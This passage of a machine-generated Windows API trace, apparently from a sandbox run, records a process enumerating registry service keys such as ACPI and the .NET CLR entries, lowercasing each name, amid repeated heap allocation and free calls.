lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0256.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.178] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0256.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.178] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0256.178] RegCloseKey (hKey=0x148) returned 0x0 [0256.178] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0256.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.178] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.179] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.179] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.179] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0256.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.180] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.180] RegCloseKey (hKey=0x154) returned 0x0 [0256.180] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0256.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.180] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0256.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0256.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.180] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0256.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0256.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.181] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.181] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.181] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.181] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.182] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.182] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.182] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0256.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.182] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.183] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.183] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.183] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, 